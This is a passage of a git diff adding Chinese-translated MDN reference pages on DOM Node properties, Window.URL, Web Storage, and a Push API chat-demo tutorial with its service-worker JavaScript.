+</body>
+</html>
+
+

规范

+

shiftKey

+

{{ languages( { "pl": "pl/DOM/event.shiftKey" ,"en": "en/DOM/event.shiftKey" } ) }}

diff --git a/files/zh-cn/conflicting/web/api/node/getrootnode/index.html b/files/zh-cn/conflicting/web/api/node/getrootnode/index.html new file mode 100644 index 0000000000..6291ef7fd6 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/node/getrootnode/index.html @@ -0,0 +1,115 @@ +--- +title: Node.rootNode +slug: Web/API/Node/rootNode +tags: + - API + - DOM + - Node + - Property + - Reference + - rootNode +translation_of: Web/API/Node/getRootNode +translation_of_original: Web/API/Node/rootNode +--- +

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

+ +

Node.rootNode 是 {{domxref("Node")}} 的一个只读属性, 返回该节点所在 DOM 数的根节点(最高节点). 此属性是通过 {{domxref("Node.parentNode")}} 属性循环查找直到找到根节点.

+ +
+

注意: 由于某种原因, 此属性已经被 {{domxref("Node.getRootNode()")}} 方法替代.

+
+ +

语法

+ +
rootNode = node.rootNode;
+
+ +

 返回值

+ +

返回 {{domxref("Node")}} 对象.

+ +

样例

+ +

下面是输出body的根节点样例:

+ +
console.log(document.body.rootNode);
+ +

参考

+ +

Gecko内核的浏览器会在源代码中标签内部有空白符的地方插入一个文本结点到文档中.因此,使用诸如 + Node.firstChildNode.previousSibling 之类的方法可能会引用到一个空白符文本节点, + 而不是使用者所预期得到的节点.

+ +

详情请参见 DOM 中的空白符 + 和W3C DOM 3 FAQ: 为什么一些文本节点是空的.

+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}[1]{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}{{CompatNo}}[1]{{CompatUnknown}}
+
+ +

[1] 此属性已经废弃, 使用{{domxref("Node.getRootNode()")}} 方法替代.

+ +

规范

+ + + + + + + + + + + + + + + + +
规范样式备注
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}初始定义
diff --git a/files/zh-cn/conflicting/web/api/node/index.html b/files/zh-cn/conflicting/web/api/node/index.html new file mode 100644 index 0000000000..ad04356656 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/node/index.html @@ -0,0 +1,19 @@ +--- +title: Node.baseURIObject +slug: Web/API/Node/baseURIObject +translation_of: Web/API/Node +translation_of_original: Web/API/Node/baseURIObject +--- +
+ {{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
+

概述

+

baseURIObject属性返回一个代表当前节点(通常是文档节点或元素节点)的基URL的{{Interface("nsIURI")}}对象.该属性类似与{{domxref("Node.baseURI")}},只是它返回的是一个包含更多信息的nsIURI对象,而不只是一个URL字符串.

+

该属性在所有类型的节点上都可用(HTML,XUL,SVG,MathML等),但脚本本身必须要有 UniversalXPConnect权限(XUL默认有这个权限,HTML没有).

+

查看{{domxref("Node.baseURI")}}了解基URL(base URL)是什么.

+

语法

+
uriObj = node.baseURIObject
+
+

附注

+

该属性只读,尝试为它赋值会抛出异常. 此外,这个属性只能从特权代码中访问.

+

规范

+

不属于任何规范,mozilla私有属性.

diff --git a/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html b/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html new file mode 100644 index 0000000000..58844aef2e --- /dev/null +++ b/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html @@ -0,0 +1,19 @@ +--- +title: Node.nodePrincipal +slug: Web/API/Node/nodePrincipal +translation_of: Web/API/Node +translation_of_original: Web/API/Node/nodePrincipal +--- +
+ {{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} +

The Node.nodePrincipal read-only property returns the {{Interface("nsIPrincipal")}} object representing current security context of the node.

+

{{Note("This property exists on all nodes (HTML, XUL, SVG, MathML, etc.), but only if the script trying to use it has chrome privileges.")}}

+

Syntax

+
principalObj = element.nodePrincipal
+
+

Notes

+

This property is read-only; attempting to write to it will throw an exception. In addition, this property may only be accessed from privileged code.

+

Specification

+

Not in any specification.

+
+

 

diff --git a/files/zh-cn/conflicting/web/api/push_api/index.html b/files/zh-cn/conflicting/web/api/push_api/index.html new file mode 100644 index 0000000000..e616d4e12d --- /dev/null +++ b/files/zh-cn/conflicting/web/api/push_api/index.html @@ -0,0 +1,424 @@ +--- +title: Using the Push API +slug: Web/API/Push_API/Using_the_Push_API +tags: + - Push + - Push API + - Service Workers + - Using the Push API +translation_of: Web/API/Push_API +translation_of_original: Web/API/Push_API/Using_the_Push_API +--- +

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

+ +

在任何时候——不论这一应用是否处于激活状态——从服务器向客户端推送消息或者通知的能力,是一种原生应用已经享受了一段时间的能力。现在 Web 应用也拥有了这一能力。桌面系统上的 Firefox 43+ 和 Chrome 42+ 已经支持 Push 的大部分功能,移动平台也很可能在不久的将来提供支持。 {{domxref("PushMessageData")}} 当前只在 Firefox Nightly (44+) 中提供实验性的支持,并且这一实现也可能会变更。

+ +
+

Note: Firefox OS 的早期版本使用了这一 API 的一个 proprietary 版本,叫做 Simple Push ,现在已经被 Push API 标准废弃。

+
+ +

Demo: the basis of a simple chat server app

+ +

我们创建的这一 demo 是一个简单的聊天应用。它提供了一个表单,用来输入聊天内容,还有一个按钮,用来订阅(subscribe)推送的消息。按下按钮后,你将订阅这一消息推送服务,服务器会记录你的信息,同时当前所有的订阅者会收到一个推送消息,告诉他们有人订阅。

+ +

此时,新订阅者的名字会出现在订阅者列表上,同时界面上会出现一个文本域和一个提交按钮,允许订阅者发送消息。

+ +

+ +

要运行这一 demo,请参阅 push-api-demo README。请注意,想要在 Chrome 中使用这一应用并且以一个更合理的方式运行,服务器端还需要大量的工作。然而,推送的细节解释起来特别麻烦,我们先概览这个推送接口是怎么运作的,然后再回来详细了解。

+ +

Technology overview

+ +

这一部分提供了这一例子中用到的技术的概览。

+ +

Web Push 消息是 service workers 技术族的一部分;特别的,一个service worker想要接收消息,就必须在一个页面上被激活。 在 service worker 接收到推送的消息后,你可以决定如何显示这一消息。你可以:

+ + + +

通常这两者可以结合使用,下面的 demo 显示了两者的特点。

+ +
+

注:你需要在服务器端部署某种形式的代码来处理endpoint数据的加密和发送推送消息的请求。 在我们的Demo里,我们把那些代码放进了一个快速、劣质的服务器代码(a quick-and-dirty server )里,部署在 NodeJS 上。

+
+ +

service worker 需要订阅推送消息服务。在订阅服务时,每一个会话会有一个独立的端点(endpoint)。订阅对象的属性({{domxref("PushSubscription.endpoint")}}) 即为端点值。将端点发送给服务器后,服务器用这一值来发送消息给会话的激活的 service worker。不同浏览器需要用不同的推送消息服务器。

+ +

加密(Encryption)

+ +
+

Note: For an interactive walkthrough, try JR Conlin's Web Push Data Encryption Test Page.

+
+ +

在通过推送消息发送数据时,数据需要进行加密。数据加密需要通过 {{domxref("PushSubscription.getKey()")}} 方法产生的一个公钥。这一方法在服务器端运行,通过复杂的密码学机制来生成公钥,详情可参阅 Message Encryption for Web Push 。以后可能会有更多用于处理推送消息加密的库出现,在这一 demo 中,我们使用 Marco Castelluccio's NodeJS web-push library.

+ +
+

Note: There is also another library to handle the encryption with a Node and Python version available, see encrypted-content-encoding.

+
+ +

Push workflow summary

+ +

这里我们总结一下推送消息的实现。在之后的章节中你可以找到这一 demo 代码的更多细节。

+ +
    +
  1. 请求 web 通知及你所使用的其他功能的权限。
  2. +
  3. 调用 {{domxref("ServiceWorkerContainer.register()")}} ,注册一个 service worker。
  4. +
  5. 使用 {{domxref("PushManager.subscribe()")}} 订阅推送消息。
  6. +
  7. 取得与订阅相关联的 endpoint ({{domxref("PushSubscription.endpoint")}}),并且生成一个客户公钥({{domxref("PushSubscription.getKey()")}}) 。注意 getKey() 是试验性的,只在 Firefox 有效。
  8. +
  9. 将详细信息发送给服务器,服务器可以用这些信息来发送推送消息。这一 demo 使用 {{domxref("XMLHttpRequest")}} ,但你也可以使用 Fetch
  10. +
  11. 如果你使用 Channel Messaging API 来和 service worker 通信,则创建一个新的 message channel ({{domxref("MessageChannel.MessageChannel()")}}) ,并且在 service worker 调用 {{domxref("Worker.postMessage()")}} ,将 port2 发送给 service worker ,以建立 communication channel 。你应该设置一个 listener 来响应从 service worker 发来的消息。
  12. +
  13. 在服务器端,存储端点以及其他在发送推送消息给订阅者时需要的信息(我们使用一个简单的文本文件,但你可以使用数据库,或者其他你喜欢的方式)。在生产环境中,请保护好这些信息,以防恶意的攻击者用这些信息给订阅者推送垃圾消息。
  14. +
  15. 要发送一个推送消息,你需要向端点 URL 发送一个 HTTP POST 。这一请求需要包括一个 TTL 头,用来规定用户离线时消息队列的最大长度。要在请求中包括数据,你需要使用客户公钥进行加密。在我们的 demo 中,我们使用 web-push 模块来处理困难的部分。
  16. +
  17. 在你的 service worker 中,设置一个 push 事件句柄来响应接收到的推送消息。 +
      +
    1. 如果你想要将一个信道消息发送回主 context(看第6步),你需要先取得之前发送给 service worker 的  port2 的引用 ({{domxref("MessagePort")}}) 。这个可以通过传给 onmessage handler ({{domxref("ServiceWorkerGlobalScope.onmessage")}}) 的{{domxref("MessageEvent")}} 对象取得。 具体地说,是 ports 属性的索引 0 。 之后你可以用 {{domxref("MessagePort.postMessage()")}} 来向 port1 发送消息 。
    2. +
    3. 如果你想要使用系统通知,可以调用 {{domxref("ServiceWorkerRegistration.showNotification()")}} 。注意,在我们的代码中,我们将其运行在一个 {{domxref("ExtendableEvent.waitUntil()")}} 方法中——这样做将事件的 生命周期(lifetime)扩展到了通知被处理后,使得我们可以确认事情像我们期望的那样进行。
    4. +
    +
  18. +
+ +

Building up the demo

+ +

让我们浏览一下 demo 的代码,理解一下它是如何工作的。

+ +

The HTML and CSS

+ +

这个 demo 的 HTML 和 CSS 没有什么需要特别留意的地方。初始化时,HTML包含一个简单的表单、一个按钮和两个列表。按钮用来订阅,两个列表分别显示订阅者和聊天消息。订阅之后,会出现用来输入聊天消息的控件。

+ +

为了对不干扰 Push API 的理解,CSS被设计得非常简单。

+ +

The main JavaScript file

+ +

JavaScript 明显更加重要。让我们看看主 JS 文件。

+ +

Variables and initial setup

+ +

开始时,我们声明一些需要使用的变量:

+ +
var isPushEnabled = false;
+var useNotifications = false;
+
+var subBtn = document.querySelector('.subscribe');
+var sendBtn;
+var sendInput;
+
+var controlsBlock = document.querySelector('.controls');
+var subscribersList = document.querySelector('.subscribers ul');
+var messagesList = document.querySelector('.messages ul');
+
+var nameForm = document.querySelector('#form');
+var nameInput = document.querySelector('#name-input');
+nameForm.onsubmit = function(e) {
+  e.preventDefault()
+};
+nameInput.value = 'Bob';
+ +

首先,是两个布尔变量,一个用来记录 Push 是否被订阅,一个用来记录是否有通知的权限。

+ +

其次,是订阅/取消订阅 {{htmlelement("button")}} 的引用,以及发送消息按钮的引用和输入的引用(订阅成功之后按钮和输入才会创建)。

+ +

接下来,是页面上的三个{{htmlelement("div")}} 元素的引用,在需要插入元素时会用到(比如创建 Send Chat Message 按钮,或者 Messages 列表中增加聊天消息时)。

+ +

最后,是 name selection 表单和 {{htmlelement("input")}} 元素的引用。我们给 input 一个默认值,并且使用 preventDefault() 方法,让按下回车时不会自动提交表单。

+ +

之后,我们通过 {{domxref("Notification.requestPermission","requestPermission()")}} 请求发送web通知的权限:

+ +
Notification.requestPermission();
+ +

onload 时我们运行一段代码,让应用开始初次加载时的初始化过程。首先我们给 subscribe/unsubscribe 按钮添加 click event listener ,让这一按钮在已经订阅(isPushEnabled为真)时执行 unsubscribe() 函数,否则执行 subscribe()

+ +
window.addEventListener('load', function() {
+  subBtn.addEventListener('click', function() {
+    if (isPushEnabled) {
+      unsubscribe();
+    } else {
+      subscribe();
+    }
+  });
+ +

之后,我们检查 service workers 是否被支持。如果支持,则用 {{domxref("ServiceWorkerContainer.register()")}} 注册一个 service worker 并且运行 initialiseState() 函数。若不支持,则向控制台输出一条错误信息。

+ +
  // Check that service workers are supported, if so, progressively
+  // enhance and add push messaging support, otherwise continue without it.
+  if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('sw.js').then(function(reg) {
+      if(reg.installing) {
+        console.log('Service worker installing');
+      } else if(reg.waiting) {
+        console.log('Service worker installed');
+      } else if(reg.active) {
+        console.log('Service worker active');
+      }
+
+      initialiseState(reg);
+    });
+  } else {
+    console.log('Service workers aren\'t supported in this browser.');
+  }
+});
+
+ +

接下来是 initialiseState() 函数。查看 initialiseState() source on Github 可获得有注释的完整源码(简洁起见,此处省略)。

+ +

initialiseState() 首先检查 service workers 是否支持 notifications ,如果支持则将 useNotifications 变量设为真。之后检查用户是否允许 said notifications , push messages 是否支持,并分别进行设置。

+ +

最后,使用 {{domxref("ServiceWorkerContainer.ready()")}} 来检测 service worker 是否被激活并开始运行,会返回一个Promise对象。当这一 promise 对象 resolve 时,我们访问 {{domxref("ServiceWorkerRegistration.pushManager")}} 属性,得到一个 {{domxref("PushManager")}} 对象,再调用该对象的 {{domxref("PushManager.getSubscription()")}}方法,最终获得用来推送消息的订阅对象。当第二个 promise 对象 resolve 时,我们启用 subscribe/unsubscribe 按钮(subBtn.disabled = false;),并确认订阅对象。

+ +

这样做了之后,订阅的准备工作已经完成了。即使这一应用并没有在浏览器中打开, service worker 也依然可能在后台处于激活状态。如果我们已经订阅,则对UI进行更新,修改按钮的标签,之后将 isPushEnabled 设为真,通过 {{domxref("PushSubscription.endpoint")}} 取得订阅的端点,通过 {{domxref("PushSubscription.getKey()")}} 生成一个公钥,调用 updateStatus() 方法与服务器进行通信。

+ +

此外,我们通过 {{domxref("MessageChannel.MessageChannel()")}} 得到一个新的 {{domxref("MessageChannel")}} 对象,并通过 {{domxref("ServiceworkerRegistration.active")}} 得到一个激活的 service worker 的引用,然后通过 {{domxref("Worker.postMessage()")}} 在主浏览器 context 和 service worker 间建立起一个信道。浏览器 context 接收 {{domxref("MessageChannel.port1")}} 中的消息。当有消息到来时,我们使用 handleChannelMessage() 方法来决定如何处理数据(参阅{{anch("Handling channel messages sent from the service worker")}})。

+ +

订阅和取消订阅(Subscribing and unsubscribing)

+ +

现在把我们的注意力转到 subscribe() 和 unsubscribe() 函数上,它们用来订阅或取消订阅 来自服务器的通知。

+ +

在订阅的时候,我们使用 {{domxref("ServiceWorkerContainer.ready()")}}方法再一次确认service worker处于激活状态并且可以使用了。当 promise 成功执行,我们用{{domxref("PushManager.subscribe()")}}方法订阅服务。如果订阅成功,我们会得到一个 {{domxref("PushSubscription")}} 对象,它携带了endpoint信息 ,并且可以产生(generate)一个公钥的方法 (再多说一点,{{domxref("PushSubscription.endpoint")}}属性和{{domxref("PushSubscription.getKey()")}}方法),我们要把这两个信息传递给updateStatus() 函数,同时还要传递第三个信息——更新状态的类型(订阅还是不订阅),让它能够把这些必要的细节传递给服务器。

+ +

我们也需要更新我们应用的状态 (设置 isPushEnabledtrue) 和 UI (激活订阅或者不订阅的按钮,同时改变标签的显示状态,让用户下一次点击按钮的时候变成不订阅的状态或者订阅的状态。)

+ +

不订阅 unsubscribe() 函数在结构上和订阅函数相识,然而基本上它们做的是完全相反的事; 最值得注意的不同是得到当前订阅对象是使用{{domxref("PushManager.getSubscription()")}}方法,而且使用{{domxref("PushSubscription.unsubscribe()")}}方法获得的promise对象。

+ +

在两个函数中也提供了适当的错误处理函数。

+ +

为了节省时间,我们只在下面展示subscribe()的代码;查看全部请点击 subscribe/unsubscribe code on Github.

+ +
function subscribe() {
+  // Disable the button so it can't be changed while
+  // we process the permission request
+
+  subBtn.disabled = true;
+
+  navigator.serviceWorker.ready.then(function(reg) {
+    reg.pushManager.subscribe({userVisibleOnly: true})
+      .then(function(subscription) {
+        // The subscription was successful
+        isPushEnabled = true;
+        subBtn.textContent = 'Unsubscribe from Push Messaging';
+        subBtn.disabled = false;
+
+        // Update status to subscribe current user on server, and to let
+        // other users know this user has subscribed
+        var endpoint = subscription.endpoint;
+        var key = subscription.getKey('p256dh');
+        updateStatus(endpoint,key,'subscribe');
+      })
+      .catch(function(e) {
+        if (Notification.permission === 'denied') {
+          // The user denied the notification permission which
+          // means we failed to subscribe and the user will need
+          // to manually change the notification permission to
+          // subscribe to push messages
+          console.log('Permission for Notifications was denied');
+
+        } else {
+          // A problem occurred with the subscription, this can
+          // often be down to an issue or lack of the gcm_sender_id
+          // and / or gcm_user_visible_only
+          console.log('Unable to subscribe to push.', e);
+          subBtn.disabled = false;
+          subBtn.textContent = 'Subscribe to Push Messaging';
+        }
+      });
+  });
+}
+ +

更新应用和服务器的状态

+ +

接下来的一个主要的JavaScript函数就是updateStatus(),当订阅和取消订阅的时候,它负责更新UI中与服务器沟通的信息并发送状态更新的请求给服务器。

+ +

这个函数做了三件事当中的哪一件事,取决于下面赋值给statusType的类型:

+ + + +

再多说一句,为了简介这里不会展示全部的代码。检查全部代码点击: full updateStatus() code on Github.

+ +

处理在service worker中发送过来的channel message

+ +

正如刚才我们提到的,当我们接收到从service worker发送的channel message 时,我们的 handleChannelMessage() 函数才会去执行它。 我们用{{domxref("channel.port1.onmessage")}}事件处理函数去处理{{event("message")}} event, :

+ +
channel.port1.onmessage = function(e) {
+  handleChannelMessage(e.data);
+}
+ +

这个函数会在service worker中发送信息给页面的时候在页面中执行(This occurs when the service worker sends a channel message over)。

+ +

 handleChannelMessage() 函数如下:

+ +
function handleChannelMessage(data) {
+  if(data.action === 'subscribe' || data.action === 'init') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name;
+    subscribersList.appendChild(listItem);
+  } else if(data.action === 'unsubscribe') {
+    for(i = 0; i < subscribersList.children.length; i++) {
+      if(subscribersList.children[i].textContent === data.name) {
+        subscribersList.children[i].parentNode.removeChild(subscribersList.children[i]);
+      }
+    }
+    nameInput.disabled = false;
+  } else if(data.action === 'chatMsg') {
+    var listItem = document.createElement('li');
+    listItem.textContent = data.name + ": " + data.msg;
+    messagesList.appendChild(listItem);
+    sendInput.value = '';
+  }
+}
+ +

这个函数会做什么取决于传入的action参数的赋值:

+ + + +
+

注:  我们需要在更新DOM之前传递需要的数据给主页面(main context), 因为service worker不能操作DOM。你在使用前一定要知道service worker的一些限制。阅读 Using Service Workers 获取更多细节.

+
+ +

发送聊天信息

+ +

当‘Send Chat Message‘ 按钮被点击后,相关联的文本域的内容就作为聊天内容被发送出去。这个由 sendChatMessage() 函数处理(再多说一句,为了简洁就不展示了). 这个和 updateStatus() 的不同之处也是差不多的。 (查看 {{anch("Updating the status in the app and server")}}) — 我们获得 endpoint 和 public key 是来自一个 {{domxref("PushSubscription")}} 对象, 这个对象又是来自于 {{domxref("ServiceWorkerContainer.ready()")}} 方法和{{domxref("PushManager.subscribe()")}}方法。它们(endpoint、public key)被传递进一个字面量对象里面( in a message object),同时含有订阅用户的名字,聊天信息,和chatMsg的statusType,然后通过{{domxref("XMLHttpRequest")}}对象发送出去的,。

+ +

服务端(The Server)

+ +

正如我们上面提到的,我们需要一个服务端的容器去存储订阅者的信息,并且还要在状态更新时发送推送消息给客户端。 我们已经用一种hack的方式把一些需要的东西放到了一个快速-劣质(quick-and-dirty)的NodeJS 服务端上(server.js),用于处理来自客户端JavaScript的异步请求。

+ +

它用一个文本文件 (endpoint.txt)去存储订阅者的信息;这个文件一开始是空的(empty)。 有四种不同类型的请求,分别由被传输过来的对象中的statusType决定;这些在客户端通俗易懂的的状态类型同样也适用于服务端,因为服务端也有相同的状态。下面是这四个个状态在服务端代表的各自的含义。

+ + + +

其他需要注意的东西:

+ + + +

The service worker

+ +

现在让我们来看看服务工作者代码(sw.js),它响应由{{Event("push")}}事件表示的推送消息。 这些通过({{domxref("ServiceWorkerGlobalScope.onpush")}})事件处理程序在服务工作人员的范围内处理; 它的工作就是为每个收到的消息做出回应。 我们首先通过调用{{domxref("PushMessageData.json()")}}将收到的消息转换回对象。然后,通过查看这个对象的action属性,就能知道这个推送消息的类型:

+ + + +
self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+ +

下一步, 让我们看看 fireNotification() 函数的代码 (它真的太他妈简单了).

+ +
function fireNotification(obj, event) {
+  var title = 'Subscription change';
+  var body = obj.name + ' has ' + obj.action + 'd.';
+  var icon = 'push-icon.png';
+  var tag = 'push';
+
+  event.waitUntil(self.registration.showNotification(title, {
+    body: body,
+    icon: icon,
+    tag: tag
+  }));
+}
+ +

我们先在这里列出通知消息框所需要的资源:标题、主体内容、图标。然后我们通过 {{domxref("ServiceWorkerRegistration.showNotification()")}} 方法把这个通知发送出去,同时提供一个"push"给tag属性,表示这是一个推送消息,以便我们能够在全部的通知消息中找到(identify)这个推送消息。 当我们成功发送一条推送消息,它可能会在用户对应的电脑或者设备上展示一个系统通知对话框,在不同的设备上通知对话框的外观可能是不一样的(下面的这张图片展示的是Mac OSX系统上的通知对话框)。

+ +

+ +

注意,我们做的这些都包裹在{{domxref("ExtendableEvent.waitUntil()")}} 方法里;这是为了让ServiceWorker在发送通知消息的过程中依然保持活动,知道消息发送完成。 waitUntil() 会延长service worker的生命周期至(这个周期里)所有活动都已经完成。

+ +
+

Note: Web notifications from service workers were introduced around Firefox version 42, but are likely to be removed again while the surrounding functionality (such as Clients.openWindow()) is properly implemented (see {{bug(1203324)}} for more details.)

+
+ +

处理推送订阅过早失效(Handling premature subscription expiration)

+ +

有时候,推送订阅会过早失效,而不会调用{{domxref("PushSubscription.unsubscribe()")}} 。例如,当服务器过载或长时间处于脱机状态时,可能会发生这种情况。这是高度依赖于服务器的,所以确切的行为很难预测。 在任何情况下,您都可以通过查看{{Event("pushsubscriptionchange")}} 事件来处理此问题,您可以通过提供{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} 事件处理程序来侦听此事件;这个事件只会在这种情况下才会被触发。

+ +
self.addEventListener('pushsubscriptionchange', function() {
+  // do something,一般来说都会在这里重新订阅,
+  // 并通过XHR或者Fetch发送新的订阅信息回服务器
+});
+ +

注意,我们在demo里没有覆盖这种情况,因为订阅端点(subscription ending)作为一个简单的聊天服务器并不是什么难事。但是对于更复杂的示例,您可能需要重新订阅(resubscribe )用户。

+ +

(让Chrome支持的额外步骤)Extra steps for Chrome support

+ +

为了让应用也能够在Chrome上面运行,我们需要一些额外的步骤,因为在Chrome上,现在需要依赖谷歌云消息推送(Google's Cloud Messaging) 服务才能正常工作。

+ +

配置谷歌云消息推送(Setting up Google Cloud Messaging)

+ +

按照以下步骤配置:

+ +
    +
  1. 跳转到 Google Developers Console  然后创建一个新项目。
  2. +
  3. 进入你项目主页(例如:我们的示例是在 https://console.developers.google.com/project/push-project-978), 然后 +
      +
    1. 在你的应用选项里打开 Google APIs
    2. +
    3. 在下一屏,在移动API那一部分下面点击“Cloud Messaging for Android” 。
    4. +
    5. 点击开启API按钮。
    6. +
    +
  4. +
  5. 现在你需要记下你的项目编号和API key,因为待会儿你会用到他们。 它们在这些地方: +
      +
    1. 项目编号: 点击左侧的主页;项目编号在你的项目主页上方很容易看见的位置。
    2. +
    3. API key: 点击左边菜单里的证书(Credentials );API key 能够在这个页面找到。
    4. +
    +
  6. +
+ +

manifest.json

+ +

你需要在你的应用里包含Google应用风格的 manifest.json ,这里面的 gcm_sender_id 参数需要设置为你的项目编号。下面是一个简单的示例(manifest.json):

+ +
{
+  "name": "Push Demo",
+  "short_name": "Push Demo",
+  "icons": [{
+        "src": "push-icon.png",
+        "sizes": "111x111",
+        "type": "image/png"
+      }],
+  "start_url": "/index.html",
+  "display": "standalone",
+  "gcm_sender_id": "224273183921"
+}
+ +

同时,你也需要在HTML文档用一个{{HTMLElement("link")}} 标签里指向你的manifest文件:

+ +
<link rel="manifest" href="manifest.json">
+ +

userVisibleOnly参数

+ +

Chrome 要求你在订阅推送服务的时候设置 userVisibleOnly 参数 为 true , 表示我们承诺每当收到推送通知时都会显示通知。这可以在我们的 subscribe() 函数 中看到。

+ +

See also

+ + + +
+

Note: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in Push Notifications on the Open Web. Thanks for the awesome work, Matt!

+
diff --git a/files/zh-cn/conflicting/web/api/url/index.html b/files/zh-cn/conflicting/web/api/url/index.html new file mode 100644 index 0000000000..3ca38bbd39 --- /dev/null +++ b/files/zh-cn/conflicting/web/api/url/index.html @@ -0,0 +1,105 @@ +--- +title: Window.URL +slug: Web/API/Window/URL +tags: + - Window.URL +translation_of: Web/API/URL +translation_of_original: Web/API/Window/URL +--- +

{{ApiRef("Window")}}{{SeeCompatTable}}

+ +

Window.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。它也可以作为一个构造函数被调用来构造 {{domxref("URL")}} 对象。

+ +
+

Note: 此功能在Web Workers中可用。

+
+ +

语法

+ +

调用一个静态方法:

+ +
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
+ +

构造一个新对象:

+ +
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
+ {{CompatGeckoDesktop("19.0")}}
10.015.0[2]6.0[2]
+ 7.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
+ {{CompatGeckoMobile("19.0")}}
{{CompatVersionUnknown}}15.0[2]6.0[2]
+
+ +

[1] 从 Gecko 2 (Firefox 4) 到 包括Gecko 18, Gecko 返回一个不标准的nsIDOMMozURLProperty内部类型. 在实践中, 这是没有意义的.

+ +

[2] 在非标准名称webkitURL下实现。

+ +

也可以看看

+ + diff --git a/files/zh-cn/conflicting/web/api/web_storage_api/index.html b/files/zh-cn/conflicting/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..194b71a94a --- /dev/null +++ b/files/zh-cn/conflicting/web/api/web_storage_api/index.html @@ -0,0 +1,542 @@ +--- +title: Storage +slug: Web/Guide/API/DOM/Storage +translation_of: Web/API/Web_Storage_API +translation_of_original: Web/Guide/API/DOM/Storage +--- +

+ 概述

+

+ DOM存储是一套在Web Applications 1.0 规范中首次引入的与存储相关的特性的总称, 现在已经分离出来,单独发展成为独立的W3C Web存储规范. DOM存储被设计为用来提供一个更大存储量,更安全,更便捷的存储方法,从而可以代替掉将一些不需要让服务器知道的信息存储到cookies里的这种传统方法.该特性在Firefox 2Safari 4中首次引入.

+
+ 注意: DOM存储有别于mozStorage (Mozilla的XPCOM接口,用来访问SQLite) 也有别于Session store API (一个XPCOM 存储工具,主要为扩展程序使用).
+

+ 描述

+

+ DOM存储的机制是通过存储字符串类型的键/值对,来提供一种安全的存取方式.这个附加功能的目标是提供一个全面的,可以用来创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一段时间).

+

+ 基于Mozilla的浏览器, Internet Explorer 8+, Safari 4+ 以及 Chrome 都提供了自己的DOM存储规范的实现. (如果你想让自己的代码兼容多个浏览器,则你需要照顾一下老版本的IE浏览器,IE下有一个类似的特性,在IE8之前版本也可以使用,叫做"userData behavior",它允许你在多重浏览器会话中永久地保存数据.)

+

+ DOM存储很有用,因为在浏览器端没有好的方法来持久保存大量数据。浏览器cookie的能力有限,而且不支持组织持久数据,其他方法(如flash本地存储)需要外部插件支持。

+

+ 由Aaron Boodman编写的halfnote(笔记类应用程序)是第一批使用新的DOM存储功能(不包括internet explorer的userData behavior)开发的公开应用程序之一。在这个应用里,Aaron同时将笔记保存到服务器(当网络可用时)和本地,这允许使用者即使在不稳定的网络环境下也能安全的记录备注事项。

+

+ 虽然halfnote的理念和实现比较简单,但是halfnote的创新展示了一种在线上和线下都可用的新型web应用的可能性。

+

+ 参考

+

+ 以下所提到的对象都是全局对象,作为 window 对象 的属性存在。这意味着可以以 sessionStorage 或者 window.sessionStorage 的形式访问这些对象。(这点很重要,因为可以使用iframe来存储、访问除了直接包含在页面的数据之外的附加数据。)

+

+ Storage

+

+ 它是所有Storage实例(sessionStorageglobalStorage[location.hostname])的构造函数,设置Storage.prototype.removeKey = function(key) { this.removeItem(this.key(key)) },可通过localStorage.removeKeysessionStorage.removeKey访问到。

+

+ globalStorage对象不是Storage的实例,而是StorageObsolete的一个实例。

+

+ Storage被定义在WhatWG Storage Interface 中,如下:

+
interface Storage {
+  readonly attribute unsigned long length;
+  [IndexGetter] DOMString key(in unsigned long index);
+  [NameGetter] DOMString getItem(in DOMString key);
+  [NameSetter] void setItem(in DOMString key, in DOMString data);
+  [NameDeleter] void removeItem(in DOMString key);
+  void clear();
+};
+
+
+ 注意:虽然可以直接通过标准的 JavaScript 属性访问方法来设置和读取值,但是推荐的做法是使用 getItem 和 setItem 方法。
+
